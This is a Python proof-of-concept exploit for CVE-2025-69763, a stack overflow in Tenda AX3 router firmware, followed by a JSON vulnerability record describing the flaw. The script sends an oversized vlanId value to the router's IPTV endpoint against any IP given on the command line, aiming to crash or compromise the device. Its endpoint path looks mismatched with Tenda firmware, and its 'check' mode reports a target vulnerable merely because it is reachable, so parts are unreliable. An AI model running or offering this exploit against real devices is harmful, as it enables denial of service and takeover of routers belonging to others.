CVE-2025-69763

#!/usr/bin/env python3 """ CVE-2025-69763 PoC - Tenda AX3 formSetIptv Stack Overflow Vulnerability: Stack-based buffer overflow in formSetIptv via vlanId parameter CVSS: 9.8 (Critical) Affected: Tenda AX3 firmware v16.03.12.11 """ import requests import sys import argparse def exploit(target_ip, target_port=80): """ Exploit CVE-2025-69763 by sending oversized vlanId parameter """ # Generate payload with 300 'A' characters to trigger overflow # Adjust length based on actual buffer size in the firmware payload_size = 300 vlanid_payload = 'A' * payload_size # Target endpoint for formSetIptv url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/network/set_iptv" # Construct HTTP POST request with malicious vlanId parameter data = { 'vlanId': vlanid_payload, 'enable': '1', 'wanType': 'bridge' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-PoC-Bot/1.0)' } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending payload with {payload_size} bytes to trigger overflow...") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Check if device has been compromised or crashed.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-69763 """ url = f"http://{target_ip}:{target_port}/" try: response = requests.get(url, timeout=5) print(f"[+] Target is reachable. Device: Tenda AX3 Router") return True except: print("[-] Target is not reachable or not a Tenda device.") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-69763 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('--check', action='store_true', help='Check vulnerability only') args = parser.parse_args() if args.check: check_vulnerability(args.target, args.port) else: exploit(args.target, args.port)

{"cve": {"id": "CVE-2025-69763", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:24.157", "lastModified": "2026-01-26T20:37:36.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 firmware v16.03.12.11 contains a stack overflow in formSetIptv via the vlanId parameter, which can cause memory corruption and enable remote code execution."}, {"lang": "es", "value": "El firmware Tenda AX3 v16.03.12.11 contiene un desbordamiento de pila en formSetIptv a través del parámetro vlanId, lo que puede causar corrupción de memoria y permitir la ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:*", "matchCriteriaId": "9FFD11D4-8E44-4156-9D8E-7094E36A2152"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formSetIptv-2c9a595a7aef8025a3c6c4b102d95dd4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formSetIptv-2c9a595a7aef8025a3c6c4b102d95dd4?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}